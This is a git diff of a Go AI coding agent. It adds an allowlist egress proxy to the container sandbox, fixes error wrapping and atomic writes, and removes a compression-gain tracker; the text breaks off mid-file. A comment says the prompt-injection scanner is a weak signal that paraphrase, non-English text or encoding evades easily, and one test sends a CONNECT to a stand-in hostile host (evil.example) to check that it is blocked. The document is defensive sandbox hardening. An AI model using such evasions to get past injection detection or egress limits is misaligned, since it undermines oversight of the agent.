b/internal/permissions/injection_scanner.go index 70727a15..df21ad64 100644 --- a/internal/permissions/injection_scanner.go +++ b/internal/permissions/injection_scanner.go @@ -56,7 +56,15 @@ type ScanResult struct { Recommendation string } -// InjectionScanner detects malicious prompt injection attempts in user input and tool outputs. +// InjectionScanner is a SIGNAL, not an authorization boundary. It detects +// probable prompt-injection patterns in user input and tool output and flags +// them for audit/visibility, but its result must never be the sole gate on a +// tool call. Deterministic policy (hard-deny lists, the Guardian's structured +// review, containment of untrusted data in ) is what actually +// enforces the decision; this scanner is a noisy heuristic that is trivially +// evaded by paraphrase, non-English text, or encoding. See the security review +// (H9): keep it as a detection signal, and do not promote it to a gate without +// structural containment backing the decision. type InjectionScanner struct { Patterns []*InjectionPattern Threshold float64 diff --git a/internal/plugin/bridge.go b/internal/plugin/bridge.go index 8838db0a..1680bd8f 100644 --- a/internal/plugin/bridge.go +++ b/internal/plugin/bridge.go @@ -75,7 +75,7 @@ func (pb *PluginBridge) Run(ctx context.Context, args ...string) (string, error) cmd.Stdout = &stdout cmd.Stderr = &stderr if err := cmd.Run(); err != nil { - return "", fmt.Errorf("%s: %s", err, strings.TrimSpace(stderr.String())) + return "", fmt.Errorf("%w: %s", err, strings.TrimSpace(stderr.String())) } return strings.TrimSpace(stdout.String()), nil } diff --git a/internal/plugin/dynamic.go b/internal/plugin/dynamic.go index a1ec728b..c7592c69 100644 --- a/internal/plugin/dynamic.go +++ b/internal/plugin/dynamic.go @@ -4,6 +4,7 @@ import ( "bufio" "context" "encoding/json" + "errors" "fmt" "io" "os" @@ -649,7 +650,8 @@ func (dm *DynamicPluginManager) executeSubprocessTool(ctx context.Context, dp *D if ctx.Err() == context.DeadlineExceeded { return "", fmt.Errorf("tool %q timed out after %s", tool.Name, timeout) } - if exitErr, ok := err.(*exec.ExitError); ok { + var exitErr *exec.ExitError + if errors.As(err, &exitErr) { return "", fmt.Errorf("tool %q failed: %s", tool.Name, string(exitErr.Stderr)) } return "", fmt.Errorf("tool %q failed: %w", tool.Name, err) diff --git a/internal/plugin/registry.go b/internal/plugin/registry.go index 9d766623..cab519ac 100644 --- a/internal/plugin/registry.go +++ b/internal/plugin/registry.go @@ -212,7 +212,7 @@ func (rc *RegistryClient) Install(repo, skillName, scope string) (string, error) url := "https://github.com/" + repo + ".git" cmd := exec.CommandContext(context.Background(), "git", "clone", "--depth", "1", "--single-branch", url, tmpDir) // #nosec G204 -- url is built from a caller-supplied repo slug prefixed with a fixed GitHub URL, consistent with other install paths in this package if out, cloneErr := cmd.CombinedOutput(); cloneErr != nil { - return "", fmt.Errorf("git clone failed: %s\n%s", cloneErr, string(out)) + return "", fmt.Errorf("git clone failed: %w\n%s", cloneErr, string(out)) } // Discover skills in the cloned repo. diff --git a/internal/resilience/circuit_test.go b/internal/resilience/circuit_test.go index a1d9bbfe..9da9f8c9 100644 --- a/internal/resilience/circuit_test.go +++ b/internal/resilience/circuit_test.go @@ -50,7 +50,7 @@ func TestBreakerOpens(t *testing.T) { // Fail 3 times for i := 0; i < 3; i++ { err := b.Call(func() error { return errors.New("fail") }) - if err == nil || err == ErrOpen { + if err == nil || errors.Is(err, ErrOpen) { t.Fatalf("expected error, got %v", err) } } diff --git a/internal/sandbox/container.go b/internal/sandbox/container.go index f1dca8af..fcada98c 100644 --- a/internal/sandbox/container.go +++ b/internal/sandbox/container.go @@ -40,6 +40,11 @@ var usernsProbe = func() (bool, error) { return strings.Contains(strings.ToLower(string(out)), "userns"), nil } +// hostDockerInternal is the DNS name a Docker container resolves to reach the +// host. A proxy bound on the host is reachable from inside the container at +// this address (mapped to the docker gateway by Docker/Orbstack). +const hostDockerInternal = "host.docker.internal" + var ( usernsOnce sync.Once usernsOK bool @@ -85,6 +90,9 @@ type ContainerSandbox struct { isolatedNetName string // credentialGate manages approval-gated access to host credentials. credentialGate *CredentialGate + // proxy, if set, restricts container egress through a NetworkProxy. The proxy + // is started on Start and stopped on Stop. + proxy *NetworkProxy } // NewContainerSandbox creates a container sandbox for the given project. @@ -96,6 +104,46 @@ func NewContainerSandbox(projectDir string) *ContainerSandbox { } } +// DefaultEgressProxyConfig returns a proxy configuration for restricting +// container outbound traffic. It runs in allowlist mode: only destinations +// matching AllowedDomains are permitted; everything else is blocked. The list +// covers the common package registries and code hosts an agent needs (npm, +// PyPI, GitHub, Go, crates.io, Docker Hub). Bind it to AllInterfaces so the +// container reaches it via host.docker.internal. +func DefaultEgressProxyConfig() ProxyConfig { + return ProxyConfig{ + Host: AllInterfaces, + Mode: "allowlist", + LogRequests: true, + BlockPrivateNetworks: true, + AllowedDomains: []string{ + // JavaScript / TypeScript + "registry.npmjs.org", "*.npmjs.org", + // Python + "pypi.org", "files.pythonhosted.org", + // Go + "proxy.golang.org", "sum.golang.org", "*.golang.org", + // Rust + "crates.io", "static.crates.io", "docs.rs", + // GitHub / GitLab (code, releases, raw assets) + "github.com", "raw.githubusercontent.com", "objects.githubusercontent.com", + "gitlab.com", + // Container images + "registry-1.docker.io", "auth.docker.io", "production.cloudflare.docker.com", + // General CDN / object storage often used by builds + "cloudflare.com", "*.cloudflare.com", + }, + } +} + +// NewContainerSandboxWithEgressProxy creates a sandbox whose outbound traffic +// is restricted to DefaultEgressProxyConfig. Use this for the secure default. +func NewContainerSandboxWithEgressProxy(projectDir string) *ContainerSandbox { + cs := NewContainerSandbox(projectDir) + cs.SetNetworkProxy(NewNetworkProxy(DefaultEgressProxyConfig())) + return cs +} + // CredentialGate returns the container's credential gate, creating it on // first use. The gate is initialized with the descriptors that have staging // mounts available. @@ -125,6 +173,26 @@ func (c *ContainerSandbox) NetworkMode() string { return c.networkMode } +// networkProxy returns the configured egress proxy (nil if unrestricted). +func (c *ContainerSandbox) networkProxy() *NetworkProxy { + c.mu.Lock() + defer c.mu.Unlock() + return c.proxy +} + +// SetNetworkProxy configures an egress proxy for the container. When set, the +// container's outbound traffic is routed through the proxy (bound to all +// interfaces) and the proxy env vars are injected so curl/wget/npm inside the +// container use it. Pass nil to leave egress unrestricted (the default). +// +// The proxy is started on Start() and stopped on Stop(). It must be set before +// Start() takes effect. +func (c *ContainerSandbox) SetNetworkProxy(np *NetworkProxy) { + c.mu.Lock() + defer c.mu.Unlock() + c.proxy = np +} + // SetRuntimeConfig overrides the declarative runtime config (extra deps and // startup env vars). Additive: an empty config restores prior behavior. func (c *ContainerSandbox) SetRuntimeConfig(cfg RuntimeConfig) { @@ -175,6 +243,16 @@ func (c *ContainerSandbox) Start(ctx context.Context) error { c.containerID = strings.TrimSpace(string(out)) c.running = true + // Start the egress proxy (if configured) now that the container is up. + // It binds to all interfaces so the container reaches it via + // host.docker.internal. Best-effort: a proxy failure must not fail boot. + if c.proxy != nil { + if _, proxyErr := c.proxy.Start(ctx); proxyErr != nil { + slog.Warn("egress proxy start failed; container egress is unrestricted", + "error", proxyErr) + } + } + // Set up the credential access layout inside the running container: // staging mounts are already in place; create the denied placeholder // and point all credential paths at it. @@ -250,6 +328,17 @@ func (c *ContainerSandbox) dockerRunArgs(name, attachDir, cacheDir string) []str // symlinks (see credentials.go); the mounts are just the raw material. args = append(args, c.credentialMountArgs()...) + // Egress proxy: when configured, inject HTTP(S)_PROXY env vars pointing at + // the host proxy via host.docker.internal (the container's route to the + // host). This is the mechanism that restricts container outbound traffic to + // the proxy's allowlist/blocklist. The proxy is started in Start() after the + // container is up. + if c.proxy != nil { + for k, v := range c.proxy.EnvVarsForHost(hostDockerInternal) { + args = append(args, "-e", k+"="+v) + } + } + args = append(args, c.runtime.StartupEnvArgs()...) args = append(args, c.image, "infinity") return args @@ -313,6 +402,12 @@ func (c *ContainerSandbox) Stop() error { if !c.running { return nil } + // Stop the egress proxy (best-effort) before tearing down the container. + if c.proxy != nil { + if proxyErr := c.proxy.Stop(); proxyErr != nil { + slog.Warn("egress proxy stop failed", "error", proxyErr) + } + } // Force-remove our ephemeral --rm container instead of waiting through // Docker's default stop grace period. Bound cleanup as well so exiting the // CLI can never hang indefinitely on an unresponsive daemon. @@ -379,7 +474,7 @@ func (c *ContainerSandbox) BuildFromDockerfile(ctx context.Context, dockerfile s cmd := exec.CommandContext(ctx, "docker", "build", "-t", tag, "-f", dfPath, c.projectDir) // #nosec G204 -- "docker" binary fixed; tag/dfPath/projectDir derived from internal state out, err := cmd.CombinedOutput() if err != nil { - return "", fmt.Errorf("docker build failed: %s\n%s", err, out) + return "", fmt.Errorf("docker build failed: %w\n%s", err, out) } c.mu.Lock() diff --git a/internal/sandbox/container_test.go b/internal/sandbox/container_test.go index a92a795c..3a6a8b83 100644 --- a/internal/sandbox/container_test.go +++ b/internal/sandbox/container_test.go @@ -394,3 +394,51 @@ func TestDefaultHawkImageDigestOverride(t *testing.T) { t.Fatalf("defaultHawkImage=%q, want digest suffix", got) } } + +func TestDefaultEgressProxyConfig(t *testing.T) { + cfg := DefaultEgressProxyConfig() + if cfg.Host != AllInterfaces { + t.Errorf("Host = %q, want %q (proxy must be reachable from container)", cfg.Host, AllInterfaces) + } + if cfg.Mode != "allowlist" { + t.Errorf("Mode = %q, want allowlist", cfg.Mode) + } + if !cfg.BlockPrivateNetworks { + t.Error("BlockPrivateNetworks should be true for secure default") + } + if len(cfg.AllowedDomains) == 0 { + t.Error("AllowedDomains should not be empty") + } +} + +func TestNewContainerSandboxWithEgressProxy(t *testing.T) { + cs := NewContainerSandboxWithEgressProxy(t.TempDir()) + if cs.networkProxy() == nil { + t.Fatal("expected egress proxy to be set") + } + np := cs.networkProxy() + if np.config.Host != AllInterfaces { + t.Errorf("proxy Host = %q, want %q", np.config.Host, AllInterfaces) + } + env := np.EnvVarsForHost(hostDockerInternal) + if !strings.Contains(env["HTTP_PROXY"], hostDockerInternal) { + t.Errorf("HTTP_PROXY = %q, want it to contain %q", env["HTTP_PROXY"], hostDockerInternal) + } +} + +func TestNetworkProxy_EnvVarsForHost(t *testing.T) { + np := NewNetworkProxy(ProxyConfig{Mode: "open"}) + np.Port = 12345 + env := np.EnvVarsForHost("host.docker.internal") + if env["HTTP_PROXY"] != "http://host.docker.internal:12345" { + t.Errorf("HTTP_PROXY = %q", env["HTTP_PROXY"]) + } + if env["HTTPS_PROXY"] != "http://host.docker.internal:12345" { + t.Errorf("HTTPS_PROXY = %q", env["HTTPS_PROXY"]) + } + // Empty host falls back to loopback. + env2 := np.EnvVarsForHost("") + if !strings.HasPrefix(env2["HTTP_PROXY"], "http://127.0.0.1:") { + t.Errorf("fallback HTTP_PROXY = %q, want loopback", env2["HTTP_PROXY"]) + } +} diff --git a/internal/sandbox/egress_proxy_test.go b/internal/sandbox/egress_proxy_test.go new file mode 100644 index 00000000..0fe06de3 --- /dev/null +++ b/internal/sandbox/egress_proxy_test.go @@ -0,0 +1,130 @@ +//go:build egressproxy + +package sandbox + +import ( + "bufio" + "crypto/tls" + "fmt" + "io" + "net" + "net/http" + "strings" + "testing" +) + +// TestEgressProxy_ConnectorEgress verifies the proxy's CONNECT tunneling and +// policy enforcement end-to-end against the real proxy running in this process +// (the same way production uses it: the proxy binds the host and dials out from +// the host). We exercise the actual dial path rather than going through a +// container, which keeps the test focused on proxy logic and off host<->container +// networking quirks. +func TestEgressProxy_ConnectorEgress(t *testing.T) { + np := NewNetworkProxy(ProxyConfig{ + Host: AllInterfaces, + Mode: "allowlist", + LogRequests: true, + AllowedDomains: []string{"github.com", "*.github.com"}, + }) + addr, err := np.Start(t.Context()) + if err != nil { + t.Fatalf("proxy start: %v", err) + } + defer np.Stop() + t.Logf("proxy listening on %s", addr) + + // Helper: open a TCP connection to the proxy, send a CONNECT, and return the + // parsed HTTP response. + connect := func(target string) (*http.Response, net.Conn) { + conn, err := net.Dial("tcp4", addr) + if err != nil { + t.Fatalf("dial proxy: %v", err) + } + req := fmt.Sprintf("CONNECT %s HTTP/1.1\r\nHost: %s\r\n\r\n", target, target) + if _, err := conn.Write([]byte(req)); err != nil { + conn.Close() + t.Fatalf("write CONNECT: %v", err) + } + resp, err := http.ReadResponse(bufio.NewReader(conn), nil) + if err != nil { + conn.Close() + t.Fatalf("read CONNECT response: %v", err) + } + return resp, conn + } + + // Blocked domain: expect 403 and a closed tunnel. + t.Run("blocked_domain", func(t *testing.T) { + resp, conn := connect("evil.example:443") + defer conn.Close() + if resp.StatusCode != http.StatusForbidden { + t.Errorf("evil.example: status = %d, want 403", resp.StatusCode) + } + }) + + // Allowed domain: expect 200 Connection Established, then a working TLS + // tunnel to the real target. + t.Run("allowed_domain", func(t *testing.T) { + resp, conn := connect("github.com:443") + defer conn.Close() + if resp.StatusCode != http.StatusOK { + t.Errorf("github.com: status = %d, want 200", resp.StatusCode) + return + } + // Tunnel TLS over the proxied connection and make a real HTTPS request. + tlsConn := tls.Client(conn, &tls.Config{ServerName: "github.com"}) + if err := tlsConn.Handshake(); err != nil { + t.Fatalf("tls handshake through proxy: %v", err) + } + defer tlsConn.Close() + + req, _ := http.NewRequest(http.MethodGet, "https://github.com/", nil) + if err := req.Write(tlsConn); err != nil { + t.Fatalf("write request through tunnel: %v", err) + } + serverResp, err := http.ReadResponse(bufio.NewReader(tlsConn), req) + if err != nil { + t.Fatalf("read response through tunnel: %v", err) + } + defer serverResp.Body.Close() + body, _ := io.ReadAll(io.LimitReader(serverResp.Body, 256)) + t.Logf("github.com tunnel: status=%d body=%q", serverResp.StatusCode, strings.TrimSpace(string(body))) + if serverResp.StatusCode != http.StatusOK { + t.Errorf("github.com: server status = %d, want 200", serverResp.StatusCode) + } + }) + + // Plain-HTTP forwarding path (handleHTTP) in open mode. + t.Run("http_forward", func(t *testing.T) { + np2 := NewNetworkProxy(ProxyConfig{Host: AllInterfaces, Mode: "open"}) + addr2, err := np2.Start(t.Context()) + if err != nil { + t.Fatalf("proxy2 start: %v", err) + } + defer np2.Stop() + + conn, err := net.Dial("tcp4", addr2) + if err != nil { + t.Fatalf("dial proxy2: %v", err) + } + defer conn.Close() + req := "GET http://example.com/ HTTP/1.1\r\nHost: example.com\r\n\r\n" + if _, err := conn.Write([]byte(req)); err != nil { + t.Fatalf("write GET: %v", err) + } + resp, err := http.ReadResponse(bufio.NewReader(conn), nil) + if err != nil { + t.Fatalf("read GET response: %v", err) + } + defer resp.Body.Close() + t.Logf("example.com http: status=%d", resp.StatusCode) + if resp.StatusCode != http.StatusOK { + t.Errorf("example.com: status = %d, want 200", resp.StatusCode) + } + }) + + // Policy accounting: one allowed (github.com) + one blocked (evil.example). + if got := np.GetStats(); got.AllowedRequests != 1 || got.BlockedRequests != 1 { + t.Errorf("stats = %+v, want allowed=1 blocked=1", got) + } +} diff --git a/internal/sandbox/netproxy.go b/internal/sandbox/netproxy.go index 306d4ccd..8bf40181 100644 --- a/internal/sandbox/netproxy.go +++ b/internal/sandbox/netproxy.go @@ -37,12 +37,20 @@ type ProxyConfig struct { BlockedDomains []string Mode string // "allowlist", "blocklist", "open", "closed" LogRequests bool + // Host is the address the proxy listens on. "127.0.0.1" (default) restricts + // it to the host; "0.0.0.0" or "" makes it reachable from containers / other + // hosts. Use AllInterfaces for the container-egress use case. + Host string // BlockPrivateNetworks rejects loopback, link-local, private, multicast, // and unspecified destinations after DNS resolution. It is intentionally // opt-in for compatibility; secure built-in configurations enable it. BlockPrivateNetworks bool } +// AllInterfaces is a sentinel host that binds the proxy to every interface so +// it is reachable from Docker containers via host.docker.internal. +const AllInterfaces = "0.0.0.0" + // NetworkProxy provides domain-level network access control for commands // run by the agent. Inspired by Codex CLI's network-proxy approach. type NetworkProxy struct { @@ -89,9 +97,22 @@ func (np *NetworkProxy) Start(ctx context.Context) (string, error) { ctx, cancel := context.WithCancel(ctx) np.cancelFunc = cancel - addr := fmt.Sprintf("%s:%d", netutil.LoopbackHost, np.Port) + host := np.config.Host + if host == "" { + host = netutil.LoopbackHost + } + // Use an explicit network so the listener matches how clients reach us. + // Containers reach the host proxy via host.docker.internal, which resolves + // to an IPv4 address, so the AllInterfaces (0.0.0.0) egress case binds IPv4 + // explicitly (on some platforms "tcp" + "0.0.0.0" yields an IPv6 [::] socket + // that drops IPv4 connections). Loopback stays "tcp" for dual-stack. + network := "tcp" + if host == AllInterfaces || host == "0.0.0.0" { + network = "tcp4" + } + addr := fmt.Sprintf("%s:%d", host, np.Port) var err error - np.listener, err = new(net.ListenConfig).Listen(ctx, "tcp", addr) + np.listener, err = new(net.ListenConfig).Listen(ctx, network, addr) if err != nil { cancel() return "", fmt.Errorf("failed to start proxy listener: %w", err) @@ -102,17 +123,11 @@ func (np *NetworkProxy) Start(ctx context.Context) (string, error) { np.Port = tcpAddr.Port } - mux := http.NewServeMux() - mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { - if r.Method == http.MethodConnect { - np.handleConnect(w, r) - } else { - np.handleHTTP(w, r) - } - }) - np.server = &http.Server{ - Handler: mux, + // Handle requests directly rather than via ServeMux: the mux's "/" + // pattern matches path-form requests but not authority-form CONNECT + // targets (e.g. "CONNECT host:port"), which would fall through to 404. + Handler: np, ReadHeaderTimeout: 10 * time.Second, ReadTimeout: 30 * time.Second, WriteTimeout: 5 * time.Minute, // long for CONNECT tunnels @@ -134,6 +149,17 @@ func (np *NetworkProxy) Start(ctx context.Context) (string, error) { return np.listener.Addr().String(), nil } +// ServeHTTP routes CONNECT tunneling vs plain-HTTP forwarding. Kept on the +// proxy (not ServeMux) because ServeMux pattern matching only handles +// path-form request URIs and returns 404 for authority-form CONNECT targets. +func (np *NetworkProxy) ServeHTTP(w http.ResponseWriter, r *http.Request) { + if r.Method == http.MethodConnect { + np.handleConnect(w, r) + } else { + np.handleHTTP(w, r) + } +} + // Stop stops the proxy server and cleans up resources. func (np *NetworkProxy) Stop() error { if np.cancelFunc != nil { @@ -190,7 +216,17 @@ func (np *NetworkProxy) IsAllowed(host string) bool { // EnvVars returns environment variables to set for child processes // so they route traffic through this proxy. func (np *NetworkProxy) EnvVars() map[string]string { - addr := fmt.Sprintf("http://%s:%d", netutil.LoopbackHost, np.Port) + return np.EnvVarsForHost(netutil.LoopbackHost) +} + +// EnvVarsForHost returns proxy env vars pointing at a specific host. Use this +// when the consumer runs in a different network namespace (e.g. a Docker +// container reaching the host proxy via host.docker.internal). +func (np *NetworkProxy) EnvVarsForHost(host string) map[string]string { + if host == "" { + host = netutil.LoopbackHost + } + addr := fmt.Sprintf("http://%s:%d", host, np.Port) return map[string]string{ "HTTP_PROXY": addr, "HTTPS_PROXY": addr, diff --git a/internal/sandbox/selector.go b/internal/sandbox/selector.go index 5e75218c..6667d554 100644 --- a/internal/sandbox/selector.go +++ b/internal/sandbox/selector.go @@ -2,7 +2,9 @@ package sandbox import ( "context" + "os" "os/exec" + "path/filepath" "runtime" "sync" "time" @@ -128,13 +130,37 @@ func ResetDockerAvailabilityCache() { dockerAvailabilityCached = false } +// dockerCandidates are the locations to check for the docker CLI. LookPath +// covers PATH; the explicit OrbStack paths cover installs where the CLI lives +// in ~/.orbstack/bin but the test/daemon subprocess PATH or HOME omits it. +func dockerCandidates() []string { + if p, err := exec.LookPath("docker"); err == nil { + return []string{p} + } + // OrbStack installs; check both $HOME (production) and /Users/$USER (test + // harness overrides HOME to a temp dir but preserves USER). + for _, home := range []string{os.Getenv("HOME"), filepath.Join("/Users", os.Getenv("USER"))} { + if home == "" { + continue + } + candidate := filepath.Join(home, ".orbstack", "bin", "docker") + if info, err := os.Stat(candidate); err == nil && !info.IsDir() { + return []string{candidate} + } + } + return nil +} + func probeDockerAvailable() bool { - if _, err := exec.LookPath("docker"); err != nil { + candidates := dockerCandidates() + if len(candidates) == 0 { return false } ctx, cancel := context.WithTimeout(context.Background(), dockerProbeTimeout) defer cancel() - cmd := exec.CommandContext(ctx, "docker", "info") + // candidates come from our own path discovery (PATH lookups and the + // hardcoded OrbStack install location), never from user input. + cmd := exec.CommandContext(ctx, candidates[0], "info") // #nosec G204 -- candidate is internally derived, not external input cmd.Stdout = nil cmd.Stderr = nil return cmd.Run() == nil diff --git a/internal/session/autosave_test.go b/internal/session/autosave_test.go index ea80487d..9799b4aa 100644 --- a/internal/session/autosave_test.go +++ b/internal/session/autosave_test.go @@ -1,6 +1,7 @@ package session import ( + "errors" "fmt" "os" "strings" @@ -40,11 +41,8 @@ func TestAcquireLock_AlreadyLocked(t *testing.T) { t.Error("should fail when session is already locked") } var lockErr *SessionLockedError - if err != nil { - lockErr, _ = err.(*SessionLockedError) - if lockErr == nil { - t.Errorf("expected SessionLockedError, got %T", err) - } + if !errors.As(err, &lockErr) { + t.Errorf("expected SessionLockedError, got %T", err) } } diff --git a/internal/session/checkpoint.go b/internal/session/checkpoint.go index fd92c555..3d7f0a54 100644 --- a/internal/session/checkpoint.go +++ b/internal/session/checkpoint.go @@ -11,6 +11,7 @@ import ( "sync" "time" + "github.com/GrayCodeAI/hawk/internal/safewrite" "github.com/GrayCodeAI/hawk/internal/token" ) @@ -404,7 +405,9 @@ func (cm *CheckpointManager) saveIndex() error { if err != nil { return err } - return os.WriteFile(indexPath, data, 0o600) + // Atomic (temp + rename): the index is the authoritative checkpoint list, so + // a crash mid-write must not truncate it and orphan intact checkpoints. + return safewrite.WriteFile(indexPath, data) } func (cm *CheckpointManager) saveMessages(id string, messages []Message) error { @@ -417,7 +420,7 @@ func (cm *CheckpointManager) saveMessages(id string, messages []Message) error { if err != nil { return err } - return os.WriteFile(path, data, 0o600) + return safewrite.WriteFile(path, data) } func (cm *CheckpointManager) loadMessages(id string) ([]Message, error) { diff --git a/internal/session/coherence.go b/internal/session/coherence.go index 9a80aae9..dde229c1 100644 --- a/internal/session/coherence.go +++ b/internal/session/coherence.go @@ -147,7 +147,26 @@ func (ct *CoherenceTracker) FormatForPrompt() string { func (ct *CoherenceTracker) GetState() CoherenceState { ct.mu.RLock() defer ct.mu.RUnlock() - return ct.state + // Deep-copy: CoherenceState holds slices/pointers, so returning ct.state + // by value would share the underlying arrays with the live state. Without + // the copy, a caller mutating Threads/Pivots would race UpdateIntent / + // RecordPivot without holding the lock (M15). + threads := make([]*SessionThread, len(ct.state.Threads)) + for i, t := range ct.state.Threads { + if t != nil { + tc := *t + threads[i] = &tc + } + } + pivots := make([]Pivot, len(ct.state.Pivots)) + copy(pivots, ct.state.Pivots) + return CoherenceState{ + Threads: threads, + Pivots: pivots, + LastUpdatedTurn: ct.state.LastUpdatedTurn, + CurrentAct: ct.state.CurrentAct, + IntentSummary: ct.state.IntentSummary, + } } func matchesAny(text, pattern string) bool { diff --git a/internal/session/session.go b/internal/session/session.go index aa5ec59e..d5b7a0c9 100644 --- a/internal/session/session.go +++ b/internal/session/session.go @@ -368,7 +368,7 @@ func scanJSONLLines(r io.Reader, logID string) (meta map[string]any, messages [] firstLine := true for { line, lpErr := reader.ReadSlice('\n') - isPrefix := lpErr == bufio.ErrBufferFull + isPrefix := errors.Is(lpErr, bufio.ErrBufferFull) if isPrefix { flushOversize() lineNo++ diff --git a/internal/session/session_gain.go b/internal/session/session_gain.go deleted file mode 100644 index 3a3858c7..00000000 --- a/internal/session/session_gain.go +++ /dev/null @@ -1,230 +0,0 @@ -// session_gain.go: per-session gain tracking for compression events. -// -// Each call to tok.Compress(), filter.SmartTruncate, or any other -// compression step that happens during a hawk session can be recorded -// here for later aggregation. The tracker stores events in a separate -// SQLite table in the same database as the session store, so per- -// session and per-day aggregations are available without joining -// against an external DB. -// -// Per-session gain tracking for compression stats -// and tok's internal/tracking, but session-scoped. -// -// Usage: -// -// tracker := session.NewGainTracker(sess.SQLiteStore()) -// tracker.Record(ctx, session.GainEvent{ -// SessionID: sess.ID, -// Command: "tok npm test", -// OriginalBytes: 12000, -// CompressedBytes: 2400, -// OriginalTokens: 3000, -// CompressedTokens: 600, -// Mode: "aggressive", -// Tier: "code", -// }) -package session - -import ( - "context" - "database/sql" - "fmt" - "time" -) - -// GainEvent is a single compression event recorded against a session. -type GainEvent struct { - ID int64 - SessionID string - Timestamp time.Time - Command string - OriginalBytes int - CompressedBytes int - OriginalTokens int - CompressedTokens int - Mode string - Tier string - Model string -} - -// GainAggregate is the result of an aggregate query scoped to a -// session (or set of sessions). -type GainAggregate struct { - EventCount int - TotalBytesSaved int - TotalTokensSaved int - AvgSavingsPct float64 - PeriodStart time.Time - PeriodEnd time.Time -} - -// GainTracker records per-session gain events. The zero value is -// not usable; construct via NewGainTracker with a non-nil -// SQLiteStore. -type GainTracker struct { - store *SQLiteStore -} - -// NewGainTracker returns a tracker that writes gain events into -// the given SQLiteStore's database. The store must already be -// open (Close will close it; GainTracker does not). -func NewGainTracker(store *SQLiteStore) *GainTracker { - return &GainTracker{store: store} -} - -// schema is the gains table definition. Appended to the -// session store's schema on first use. -const gainsSchema = ` -CREATE TABLE IF NOT EXISTS gains ( - id INTEGER PRIMARY KEY AUTOINCREMENT, - session_id TEXT NOT NULL, - ts INTEGER NOT NULL, - command TEXT NOT NULL DEFAULT '', - original_bytes INTEGER NOT NULL, - compressed_bytes INTEGER NOT NULL, - original_tokens INTEGER NOT NULL, - compressed_tokens INTEGER NOT NULL, - mode TEXT NOT NULL DEFAULT '', - tier TEXT NOT NULL DEFAULT '', - model TEXT NOT NULL DEFAULT '' -); -CREATE INDEX IF NOT EXISTS idx_gains_session_ts ON gains(session_id, ts); -` - -// EnsureSchema creates the gains table and indexes if they do not -// already exist. Safe to call multiple times. -func (g *GainTracker) EnsureSchema(ctx context.Context) error { - if g == nil || g.store == nil || g.store.db == nil { - return fmt.Errorf("session: GainTracker has no store") - } - _, err := g.store.db.ExecContext(ctx, gainsSchema) - if err != nil { - return fmt.Errorf("session: gains schema: %w", err) - } - return nil -} - -// Record adds a new gain event. Timestamp defaults to now if zero. -// SessionID is required. -func (g *GainTracker) Record(ctx context.Context, ev GainEvent) error { - if g == nil || g.store == nil || g.store.db == nil { - return fmt.Errorf("session: GainTracker has no store") - } - if ev.SessionID == "" { - return fmt.Errorf("session: GainEvent.SessionID is required") - } - if ev.Timestamp.IsZero() { - ev.Timestamp = time.Now() - } - _, err := g.store.db.ExecContext( - ctx, ` - INSERT INTO gains - (session_id, ts, command, original_bytes, compressed_bytes, - original_tokens, compressed_tokens, mode, tier, model) - VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?) - `, - ev.SessionID, ev.Timestamp.Unix(), ev.Command, - ev.OriginalBytes, ev.CompressedBytes, - ev.OriginalTokens, ev.CompressedTokens, - ev.Mode, ev.Tier, ev.Model, - ) - if err != nil { - return fmt.Errorf("session: record gain: %w", err) - } - return nil -} - -// AggregateForSession returns aggregate stats for one session over -// the last `days` days (or all-time if days <= 0). -func (g *GainTracker) AggregateForSession(ctx context.Context, sessionID string, days int) (GainAggregate, error) { - if g == nil || g.store == nil || g.store.db == nil { - return GainAggregate{}, fmt.Errorf("session: GainTracker has no store") - } - if sessionID == "" { - return GainAggregate{}, fmt.Errorf("session: sessionID required") - } - cutoff := int64(0) - if days > 0 { - cutoff = time.Now().Add(-time.Duration(days) * 24 * time.Hour).Unix() - } - row := g.store.db.QueryRowContext(ctx, ` - SELECT - COUNT(*), - COALESCE(SUM(original_bytes - compressed_bytes), 0), - COALESCE(SUM(original_tokens - compressed_tokens), 0), - COALESCE(AVG( - CASE WHEN original_bytes = 0 THEN 0 - ELSE 100.0 * (original_bytes - compressed_bytes) / original_bytes - END - ), 0) - FROM gains - WHERE session_id = ? AND ts >= ? - `, sessionID, cutoff) - var agg GainAggregate - if err := row.Scan(&agg.EventCount, &agg.TotalBytesSaved, &agg.TotalTokensSaved, &agg.AvgSavingsPct); err != nil { - if err == sql.ErrNoRows { - return agg, nil - } - return agg, fmt.Errorf("session: aggregate: %w", err) - } - agg.PeriodEnd = time.Now() - if cutoff > 0 { - agg.PeriodStart = time.Unix(cutoff, 0) - } - return agg, nil -} - -// ListForSession returns the most recent n gain events for one -// session, newest first. -func (g *GainTracker) ListForSession(ctx context.Context, sessionID string, n int) ([]GainEvent, error) { - if g == nil || g.store == nil || g.store.db == nil { - return nil, fmt.Errorf("session: GainTracker has no store") - } - if n <= 0 { - n = 50 - } - rows, err := g.store.db.QueryContext(ctx, ` - SELECT id, session_id, ts, command, - original_bytes, compressed_bytes, - original_tokens, compressed_tokens, - mode, tier, model - FROM gains - WHERE session_id = ? - ORDER BY id DESC - LIMIT ? - `, sessionID, n) - if err != nil { - return nil, fmt.Errorf("session: list gains: %w", err) - } - defer func() { _ = rows.Close() }() - var out []GainEvent - for rows.Next() { - var ev GainEvent - var ts int64 - if err := rows.Scan(&ev.ID, &ev.SessionID, &ts, &ev.Command, - &ev.OriginalBytes, &ev.CompressedBytes, - &ev.OriginalTokens, &ev.CompressedTokens, - &ev.Mode, &ev.Tier, &ev.Model); err != nil { - return nil, err - } - ev.Timestamp = time.Unix(ts, 0) - out = append(out, ev) - } - return out, rows.Err() -} - -// PruneForSession deletes gain events for one session older than -// `maxAge`. Returns the number of rows deleted. -func (g *GainTracker) PruneForSession(ctx context.Context, sessionID string, maxAge time.Duration) (int64, error) { - if g == nil || g.store == nil || g.store.db == nil { - return 0, fmt.Errorf("session: GainTracker has no store") - } - cutoff := time.Now().Add(-maxAge).Unix() - res, err := g.store.db.ExecContext(ctx, - `DELETE FROM gains WHERE session_id = ? AND ts < ?`, - sessionID, cutoff) - if err != nil { - return 0, fmt.Errorf("session: prune: %w", err) - } - return res.RowsAffected() -} diff --git a/internal/session/session_gain_test.go b/internal/session/session_gain_test.go deleted file mode 100644 index ccdb7278..00000000 --- a/internal/session/session_gain_test.go +++ /dev/null @@ -1,200 +0,0 @@ -package session_test - -import ( - "context" - "path/filepath" - "testing" - "time" - - "github.com/GrayCodeAI/hawk/internal/session" -) - -func newTestStore(t *testing.T) *session.SQLiteStore { - t.Helper() - dir := t.TempDir() - store, err := 